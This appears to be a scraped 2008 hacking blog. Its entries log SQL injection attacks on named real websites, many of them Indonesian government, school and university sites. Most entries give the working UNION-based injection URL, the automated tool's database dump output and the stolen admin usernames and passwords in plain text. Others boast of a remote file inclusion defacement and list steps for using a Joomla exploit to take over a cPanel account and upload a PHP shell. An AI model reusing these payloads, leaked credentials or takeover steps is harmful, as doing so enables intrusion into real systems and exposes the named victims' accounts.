15:05:23[0]: 4.1.22-standard:harabe30_arabsen@localhost:harabe30_arabsengAdmin login page --> http://www.arabeuropean.org/ </article> <article> <h1>[SQLi] http://www.bainfokomsumut.go.id/</h1> <p>2008-10-13T14:07:00.004+07:00</p> Tool --> schemafuzz.py v5.0Admin login page --> http://www.bainfokomsumut.go.id/Admin usr:pwd --> riza:milanistaDump:[+] URL:http://www.bainfokomsumut.go.id/detail.php?id=1634+AND+1=2+UNION+SELECT+0,1,sqli,3,4,5--[+] Evasion Used: "+" "--"[+] 13:27:39[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: bainfo_infokom User: bainfo@localhost Version: 5.0.51a-community[Database]: </article> <article> <h1>[SQLi] http://ukbi.pusatbahasa.diknas.go.id</h1> <p>2008-10-13T13:55:00.003+07:00</p> Tool --> schemafuzz.py v5.0 and instinct ^^Admin loc --> http://ukbi.pusatbahasa.diknas.go.id/admin_ukbi.phpAdmin usr:pwd --> ukbi:ukbi2007 (see more in above pic)Dump:[+] URL:http://ukbi.pusatbahasa.diknas.go.id/detail.php?id=29+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5,6,7--[+] Evasion Used: "+" "--"[+] 13:51:41[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: admukbi_ukbi </article> <article> <h1>[SQLi] http://papua.litbang.deptan.go.id</h1> <p>2008-10-13T13:07:00.005+07:00</p> Tool --> schemafuzz.py v5.0Admin loc --> http://papua.litbang.deptan.go.id/login.htmlAdmin usr:pwd --> admin:n0rm1 (see the others in dump or above pic)Dump:[+] URL:http://papua.litbang.deptan.go.id/detail.php?id=10+AND+1=2+UNION+SELECT+0,sqli,2,3,4,5,6,7--[+] Evasion Used: "+" "--"[+] 12:58:37[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: papua User: papua@localhost </article> <article> <h1>[SQLi] http://www.azpsych.us/</h1> <p>2008-10-12T22:06:00.001+07:00</p> PoC: http://www.azpsych.us/detailnews.php?id=44+AND+1=2+UNION+SELECT+0,user,password,3,4,5+from+admin--Info:Database: azpsyus_mainUser: azpsyus@localhostVersion: 5.0.51a-communityAdmin loc --> http://www.azpsych.us/admin/Admin usr:pwd --> admin:aztpsych </article> <article> <h1>[SQLi] http://inixindojogja.com/</h1> <p>2008-10-12T21:50:00.002+07:00</p> Tool --> schemafuzz.py v5.0Admin loc --> http://inixindojogja.com/admin/Admin usr:pwd --> webadmin:webj0gja2006Dump:[+] URL:http://www.inixindojogja.com/detailnews.php?id=59+AND+1=2+UNION+SELECT+0,1,sqli,3,4,5,6,7--[+] Evasion Used: "+" "--"[+] 21:40:40[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: jmn1928_inixindo User: jmn1928_mydb@localhost Version: 5.0.51a-community[ </article> <article> <h1>[SQLi] http://www.wiyoko.com</h1> <p>2008-10-12T20:22:00.002+07:00</p> Tool --> schemafuzz.py v5.0Admin loc --> http://wiyoko.com/admin/index.phpAdmin usr:pwd --> admin:1111 (see others in the dump or above pic)Dump:[+] URL:http://wiyoko.com/detailnews.php?table=news&id=32+AND+1=2+UNION+SELECT+0,sqli,2,3,4--[+] Evasion Used: "+" "--"[+] 19:54:01[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: t61647_wiyoko User: t61647_wiyoko@localhost </article> <article> <h1>http://smpn7-bpp.sch.id/</h1> <p>2008-10-11T22:45:00.003+07:00</p> Tool --> brain and instinctAdmin loc --> http://smpn7-bpp.sch.id/admin/Admin usr:pwd --> admin:admin (carelessness is killing you) </article> <article> <h1>[SQLi] http://www.icmcipanas.sch.id</h1> <p>2008-10-11T21:49:00.004+07:00</p> Tool: schemafuzz.py v5.0Admin loc --> http://www.icmcipanas.sch.id/cpanel/admin.phpAdmin usr:pwd --> see above pic.Dump:[+] URL:http://www.icmcipanas.sch.id/news.php?p=detn&kode=46+AND+1=2+UNION+SELECT+0,sqli,2,3,4,5--[+] Evasion Used: "+" "--"[+] 21:22:53[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: t41437_icm User: t41437_icm@localhost Version: 5.0.32-Debian_7etch6- </article> <article> <h1>[SQLi] http://qbheadlines.com</h1> <p>2008-10-10T21:54:00.001+07:00</p> Tool --> schemafuzz.py v5.0Admin loc --> http://qbheadlines.com/admin/Admin usr:pwd --> admin:qb09db08 (see dump for more)Dump:[+] URL:http://qbheadlines.com/index.php?cat=5+AND+1=2+UNION+SELECT+sqli,1,2,3,4,5,6,7,8,9--[+] Evasion Used: "+" "--"[+] 21:10:28[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: qbheadli_qb User: qbheadli_qbadmin@localhost Version: </article> <article> <h1>[SQLi] http://www.mtp.or.id</h1> <p>2008-10-10T21:04:00.003+07:00</p> Tool --> schemafuzz.py v5.0Admin loc --> http://www.mtp.or.id/login/Admin usr:pwd --> [0] admin:123456 [1] adminmtp:123457Dump:[+] URL:http://www.mtp.or.id/detail_berita.php?id=19+AND+1=2+UNION+SELECT+0,sqli,2,3,4,5--[+] Evasion Used: "+" "--"[+] 20:15:44[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: adminmtp_mtpdb User: adminmtp@localhost Version: 5.0.51a-community[ </article> <article> <h1>[SQLi] http://www.tali-kasih.org</h1> <p>2008-10-10T20:29:00.002+07:00</p> Tool --> [0] schemafuzz.py v5.0 [1] IntelliTamper v2.07Admin loc --> http://www.tali-kasih.org/ytk_admin/cmspanel_ytk/Admin usr/pwd --> novita:omegajesusDump:[+] URL:http://www.tali-kasih.org/detail_berita.php?id=4+AND+1=2+UNION+SELECT+0,sqli,2,3,4--[+] Evasion Used: "+" "--"[+] 20:16:45[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: h45755_ytk User: h45755_cliff@ </article> <article> <h1>[SQLi] http://www.sdmmp.org/</h1> <p>2008-10-10T19:38:00.001+07:00</p> Tool --> schemafuzz.py v5.0Admin loc --> http://www.sdmmp.org/login.phpAdmin usr:pwd --> admin:adminjugaDump:[+] URL:http://www.sdmmp.org/detail_berita.php?id=26+AND+1=2+UNION+SELECT+0,sqli,2,3,4,5,6,7,8,9,10--[+] Evasion Used: "+" "--"[+] 19:29:59[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: sdmmpo01_sdmpdb User: sdmmpo01_root@localhost Version: 4.1.22-standard[+] </article> <article> <h1>[SQLi] http://www.djahu.depkumham.go.id</h1> <p>2008-10-10T16:44:00.004+07:00</p> Tool --> schemafuzz.py v5.0Admin loc --> http://www.djahu.depkumham.go.id/admin/Admin pwd : [0] djahu:djahu_p2l1 [1] z3r0_vb:z3r0_vb:z3r0_vb:[+] URL:http://www.djahu.depkumham.go.id/detail_artikel.php?artid=8+AND+1=2+UNION+SELECT+0,sqli,2,3,4,5--[+] Evasion Used: "+" "--"[+] 16:36:42[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: dbHAM User: root@localhost Version: 5.0.45 </article> <article> <h1>[SQLi] http://www.poltek-api.ac.id/</h1> <p>2008-10-10T16:27:00.002+07:00</p> Tool --> schemafuzz.py v5.0Admin loc --> http://www.poltek-api.ac.id/admin.phpAdmin usr:pwd --> admin:admin (easy ^^)Dump:[+] URL:http://www.poltek-api.ac.id/detail_berita.php?id=18+AND+1=2+UNION+SELECT+0,sqli,2,3,4,5--[+] Evasion Used: "+" "--"[+] 16:28:31[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: apidb User: poltekapi@localhost Version: 5.0.32-Debian_7etch5-log[ </article> <article> <h1>[SQLi] http://www.gajahmada.co.id</h1> <p>2008-10-09T19:51:00.005+07:00</p> Tool --> schemafuzz.py v5.0Admin dir --> http://www.gajahmada.co.id/adminAdmin usr:pwd --> agung:agungDump: [+] URL:http://www.gajahmada.co.id/home.php?id=front&cat=28+AND+1=2+UNION+SELECT+darkc0de--[+] Evasion Used: "+" "--"[+] 18:17:17[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: gajahmd_dbgajahmada User: gajahmd_webgama@localhost Version: 4.1.22-standard[+] Dumping </article> <article> <h1>[SQLi] http://www.dewanstudio.com</h1> <p>2008-10-09T19:47:00.003+07:00</p> Tool --> schemafuzz.py v5Admin dir --> http://www.dewanstudio.com/admin/Admin usr:pwd --> admin:dewans29Dump:[+] URL:http://www.dewanstudio.com/?op=6&s_id=2&c_id=69'/**/AND/**/1=2/**/UNION/**/SELECT/**/0,1,2,sqli,4,5,6,7,8,9,10,11/*[+] Evasion Used: "/**/" "/*"[+] 17:56:59[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: ds_dewanstudio User: dewan_ds@localhost Version: </article> <article> <h1>[SQLi] http://www.rs-internasionalbintaro.com/</h1> <p>2008-10-09T14:54:00.003+07:00</p> admin dir --> http://www.rs-internasionalbintaro.com/admin/admin usr --> admin : admin (wtf?)[+] URL:http://www.rs-internasionalbintaro.com/nexthealthseminar.php?detail=1111+AND+1=2+UNION+SELECT+0,1,2,3,sqli,5,6,7,8,9,10,11,12,13,14,15,16,17--[+] Evasion Used: "+" "--"[+] 14:53:54[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: rsbintaro User: rsbintaro@10.64.254.10 </article> <article> <h1>[SQLi] http://www.svoa.co.th/</h1> <p>2008-10-08T20:51:00.003+07:00</p> Tool: [+]schemafuzz.py v5 [+]IntelliTamper v2.07Dump:[+] URL:http://www.svoa.co.th/product_info.php?id=70237+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5,6,7,8,9,10,11,12,13,14,15--[+] Evasion Used: "+" "--"[+] 20:36:02[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: svoaweb User: root@172.17.10.14 Version: 4.0.15a-log[+] Do we have Access to MySQL Database: Yes <-- w00t </article> <article> <h1>[SQLi] http://www.pipinproduction.com</h1> <p>2008-10-08T18:42:00.002+07:00</p> Tool: schemafuzz.py v5Dump:[+] URL:http://www.pipinproduction.com/shop/product.php?id=33+AND+1=2+UNION+SELECT+0,1,2,3,darkc0de,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--[+] Evasion Used: "+" "--"[+] 18:24:39[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: db249540856 User: dbo249540856@74.208.16.176 Version: 5.0.51a-log[Database]: db249540856[Table: </article> <article> <h1>[RFI] http://kent.ac.id</h1> <p>2008-10-07T20:54:00.002+07:00</p> Hahaha...my first RFI victim.PoC: http://kent.ac.id/about.php?exec=[evil code]NB: use badkiddies' script to get the defaced looked great. </article> <article> <h1>[SQLi] http://simpeg.unnes.ac.id</h1> <p>2008-10-07T20:36:00.002+07:00</p> Tool: schemafuzz.py v5Desc: Another SQL vulnerability in one of university in Indonesia. This vulnerability can be used to hack the other subdomain which is the most important part of information system in this university :)[+] URL:http://simpeg.unnes.ac.id/?j=AjE%2F5SsJNnUwS2hJvjviSOO8cFCgbE%2BAUT0dxq8ecX8SWl0MJcb4cOswBy4xzjeD&id=7'/**/AND/**/1=2/**/UNION/**/SELECT/**/darkc0de,1,2,3,4,5,6,7,8/*[ </article> <article> <h1>[SQLi] http://www.unib.ac.id/</h1> <p>2008-10-03T19:46:00.003+07:00</p> Tool: schemafuzz.py v5Screenshot:[+] URL:http://www.unib.ac.id/berita.php?id=32+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5,6,7,8--[+] Evasion Used: "+" "--"[+] 19:34:51[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: unib User: webunib@localhost Version: 5.0.41[Database]: documents[Table: Columns][0]acl: document_id,user_id,level[1]chat: id,ref_id,user,subject,content,date[2] </article> <article> <h1>[SQLi] http://www.yourministries.org</h1> <p>2008-10-01T21:02:00.002+07:00</p> [+] URL:http://www.yourministries.org/artikel_detail.php?id=-93+union+select+1,2,darkc0de,4,5,6,7,8,9,10,11,12,13--[+] Evasion Used: "+" "--"[+] 20:50:00[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: h73256_min User: h73256_min@localhost Version: 5.0.32-Debian_7etch6[+] Dumping data from database "h73256_min" Table "member"[+] Column(s) ['fusername', 'femail', 'fpassword </article> <article> <h1>[Cpanel] http://www.unwar.ac.id</h1> <p>2008-10-01T20:07:00.002+07:00</p> This time i try to hack Cpanel of http://www.unwar.ac.id. Because of this site using Joomla 1.5.x and there's an exploit from milw0rm, it's an easy job.Steps:1. Using the exploit, change the password to whatever you want.2. To upload a php shell, you should do several things. a. Go to Global Configuration b. Go to System Tab c. Add php into "Legal Extensions (File Types)" and Legal Image </article> </main></body></html>

viperfx07's private bl0g: "Oh my hobby"

Premium download Rapidshare, Megaupload, Hotfile and many more. FREE

Setup ZendFramework in a few easy steps

Fix 0x80240030 Windows Update Error (Proxy Setting)

RSS 2.0 vs Atom 1.0

Future Web Experience

jQuery plugins that I use on my project

Week 9 Practice: Database

Week 8 Challenge: Javascript